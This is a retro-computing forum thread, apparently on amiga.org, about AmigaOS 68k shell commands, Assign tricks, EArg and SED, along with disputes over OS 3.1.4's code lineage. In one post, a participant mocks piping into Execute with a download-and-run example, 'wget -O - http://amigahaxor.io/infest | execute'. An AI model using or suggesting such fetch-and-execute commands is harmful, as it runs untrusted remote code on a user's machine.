Welcome, Guest. Please login or register.

Author Topic: AmigaOS 68k development - components, critics, bugs, work-arounds, tips&tricks  (Read 46745 times)

Description:

0 Members and 1 Guest are viewing this topic.

Offline kollaTopic starter

Re: AmigaOS 68k development - components, critics, bugs, work-arounds, tips&tricks
« Reply #149 from previous page: January 08, 2020, 04:26:32 PM »
"WHICH lets you find a particular command, program, or directory by entering
 its name. If the named item is in the search path, WHICH displays the
 complete path to that item."

Right, but if it ever was intended to take device names as argument and print out volume name, it has been, and still is (OS 3.1.4.1) broken, and even when it works, it still prints volume name with a trailing colon.

I would argue that the only really "correct way", would be to extend C:Info with LFORMAT and %Ns for printing out size, used, free, full, errs, status and name.
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline patrik

Out of curiosity, when is volume name without colon needed?
 

Offline kollaTopic starter

When is timestamps on files needed? When is volume names at all needed - why not just name partitions “funny names” straight in hdtoolbox?

I want them for many things, for example when making directories with corresponding names on a backup server... and much more.
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline TribbleSmasher

out of curiosity, there is no 'grep' like tool (or any other way) to strip characters from strings?
 

Offline kollaTopic starter

out of curiosity, there is no 'grep' like tool (or any other way) to strip characters from strings?
UNIX grep is not for stripping, it is for searching, vaguely equivalent to C:Search.

To answer your question, if there is a "cut" like tool in the OS itself?
Not really, though you can use C:Ed and a script, or simply dive straight into ARexx.
I think perhaps ThoR may have mentioned variable substitution methods, but I don't recall if it is already in, or possibly in the future.

The easiest tool to use for this kind of stuff currently, is ThoR's own SED which you can find on aminet (util/cli/SED.lha)

EDIT: well, maybe not easiest, as there are various other tools, such as unix inspired or ported cut, paste as well as myriads of grep, sed and awk clones, but most of these are ancient, unmaintained,  unreliable and certainly not sometihng you can expect to be available and anyone else's Amiga. And util/cli/SED.lha renders them all redundant (well, maybe not awk...)
« Last Edit: January 08, 2020, 10:31:41 PM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

Regarding "WHICH", if it is to take paths to directories, assigns, devices and volumes as arguments (which I have nothing against, btw... just find it a little odd), should it then also not be consequent about it, so that
Code: [Select]
Which LIBS: ALL
not results in
Code: [Select]
Minimig:Libs
but rather
Code: [Select]
Minimig:Libs
Minimig:Classes
as well as other directories that are assigned to LIBS:?

(And then there is that eery situation when you insert a floppy named "Locale" while there also is the assign LOCALE: and suddenly all the catalogs etc in the assign "vanish" as long as the floppy named "locale" is inserted...)
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

Super tip:

If you want to protect a bunch of files from being deleted or mangled with (well, renaming always work), there is of course C:Protect, but filesystem flags can be overwritten, or overwrite enforced etc.

So a different approach is to use C:Assign.

Assigns do not just work on directories, as they are normally used, but also on files, and once a file is part of an assign, the OS will claim it as "busy" and protect it with claws, beak, fang etc.

So, to be a little paranoid, take all files you really really care about, and make an assign and let it point to all those files.



Also, one can use assign instead of alias if one wish...

Code: [Select]
Assign Less: SYS:Utilities/More
Less: S:Startup-Sequence

Whacky, huh?
« Last Edit: January 08, 2020, 10:34:26 PM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline patrik

Super tip:

If you want to protect a bunch of files from being deleted or mangled with (well, renaming always work), there is of course C:Protect, but filesystem flags can be overwritten, or overwrite enforced etc.

So a different approach is to use C:Assign.

Assigns do not just work on directories, as they are normally used, but also on files, and once a file is part of an assign, the OS will claim it as "busy" and protect it with claws, beak, fang etc.

So, to be a little paranoid, take all files you really really care about, and make an assign and let it point to all those files.



Also, one can use assign instead of alias if one wish...

Code: [Select]
Assign Less: SYS:Utilities/More
Less: S:Startup-Sequence

Whacky, huh?

Very interesting, thanks for the tips!
 

Offline kollaTopic starter

I just put this link here, since the misinformation/ignorance level is so entertaining...

http://www.apollo-core.com/knowledge.php?b=9&note=26937&z=ds6kB4
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline Minuous

There are a lot of generalizations in that thread, whereas the actual situation is different depending which OS component is being discussed.

In some cases, the latest sources were available and it was possible to continue on from V45. In other cases, the work had to be redone starting from OS3.1 sources.
 

Offline kollaTopic starter

While I am here - new to latest OS 3.1.4(.1) and 3.2 improved (bugfixed mostly) is the concept of piping to execute to run commands.

For example, the below are equivalent now...
Code: [Select]
execute s:user-startupand
Code: [Select]
type s:user-startup | execute
But how useful is really this?
Well, one can now do trendy hipster silliness like "wget -O - http://amigahaxor.io/infest | execute" also on Amiga. Yay.

However, this feature is a tad confusing, if there was logic to this nonsense, then these would be equivalents:
Code: [Select]
execute s:user-startupand
Code: [Select]
echo s:user-startup | execute
A limitation with this nonsense, is that the stream of lines on the left side of the pipe needs to be fully assembled command lines.
For example output from list with help of lformat, with some luck this works...
Code: [Select]
list sys: all files p="#?.info" lformat "processicon *"%p%m*" mwb2ci" | execute
Cool.

But what if the stream of lines on the left is not based on files, and hence cannot be listed with lformat?
For example, what if it a stream of hostnames that you wish to run a remote command on? Well, one can use some streamline editor, like Thor's own SED:

Code: [Select]
Type myhosts.txt | SED match "{#?}" REPLACE "ssh \-l kolla {1} \*"uptime \-s\*"" | Execute
But that requires that one has SED, and understands SED - a rather daunting program for "most users" - especially with all the ...eh.. exotic .. escaping that is required.

But there is an alternative, tiny and elegant, it in a way mimics xargs on *ix, and its name is EArg. It can do exactly what Execute can do now:
Code: [Select]
type s:user-startup | earg
but unlike Execute, it can also add to the command to be executed, for example
Code: [Select]
type s:users-startup | earg echo "haha hihi"or
Code: [Select]
type s:users-startup | earg between echo haha
So, one can do this:
Code: [Select]
Type myhosts.txt | EArg between "ssh -l kolla" "*"uptime -s*""

http://aminet.net/package/util/shell/EArg
and
http://aminet.net/package/util/cli/SED
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

There are a lot of generalizations in that thread, whereas the actual situation is different depending which OS component is being discussed.

Right, so what Gunnar writes is utter nonsense:

Quote
This means all the development which went into 3.5 and 3.9 is first of all lost.
3.1.4 is new fork based on 3.1 sources - it is not based on the code of 3.9.
3.1.4 is definitely NOT a bug fixed 3.9
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

And now he has moderated himself to say that 3.9 and 3.1.4 may share some "third party work/fixes" - yeah, so that is what all OS development since 3.1 has been - third party. Da lolz.

EDIT: Well, isn't it ironic that the hardware project that was said to trigger the interest from Hyperion to further develop OS 3.1, is now going for AROS while maintaining its strong ties to an assembled pirate version of OS 3.9, even to the point that the main developers strongly advice against using any OS3 from Hyperion...
« Last Edit: January 15, 2020, 11:32:29 AM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

Btw - Michael Farrell - who started that thread - if you read this - the reason why your RAM Disk is blinking, I am guessing, is due to CoffinOS coming with some sort of ENV-handler/happy-env, which sets up ENV: as a dedicated device, and then it has been marked in Prefs/Workbench to be hidden. Enters the script, that (I guess) re-instate that ENV: is an assign to a directory on RAM:, and this confuse the Workbench prefs that goes on to attempt to hide the device associated with ENV:, which is RAM:, only to fail and try again, and again... quick solution is to enter Prefs/Workbench and press "Save" to write a new prefs without any hiding of ENV: - OR to re-enable env-handler/happy-env in Startup-Sequence.

If anyone can be bothered to file a bug with OS 3.1.4 regarding hiding of volumes/devices not checking wether the volume/device is actually a volume/device and not an assign - this resembles the C:Relabel bug from earlier.
« Last Edit: January 15, 2020, 11:42:22 AM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

Minuous status as OS3.2 developer (wherever Reaction goes, so does he) is obviously lost on some.

scsi.device (not .library) supports IDE splitters once there is a rom module with the resident name “ATAPIMajik” in place, it was not known in 3.9, but came along in 4.0 and 4.1, albeit as PowerPC code. Whether it comes with 3.2 or not doesn’t matter, as the cat is out of the bag, so to speak.
« Last Edit: January 15, 2020, 03:43:40 PM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS
 

Offline kollaTopic starter

Fascinating - the head OS 3 developer writes example shell commands that are nonsense, and for pointing it out, one get banned for trolling by this "AMike" character who for some reason is super moderator.

https://www.a1k.org/forum/index.php?threads/67528/page-3#post-1241265 is full of errors.

Code: [Select]
list lformat="DEVS:Monitors/~(#?.info)"
This makes little sense, it does nothing than print out "DEVS:Monitors/~(#?.info)" for every file/dir entry in the current directory, I suppose the idea was to write something to the effect of

Code: [Select]
List "DEVS:Monitors/~(#?.info)" lformat "%p%n"
Ah, gotta love this community with its alpha-nerds and sycophants, team this and team that, and everyone fighting over crumbles and feathers... :)
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
---
A3000/060CSPPC+CVPPC/128MB + 256MB BigRAM/Deneb USB
A4000/CS060/Mediator4000Di/Voodoo5/128MB
A1200/Blz1260/IndyAGA/192MB
A1200/Blz1260/64MB
A1200/Blz1230III/32MB
A1200/ACA1221
A600/V600v2/Subway USB
A600/Apollo630/32MB
A600/A6095
CD32/SX32/32MB/Plipbox
CD32/TF328
A500/V500v2
A500/MTec520
CDTV
MiSTer, MiST, FleaFPGAs and original Minimig
Peg1, SAM440 and Mac minis with MorphOS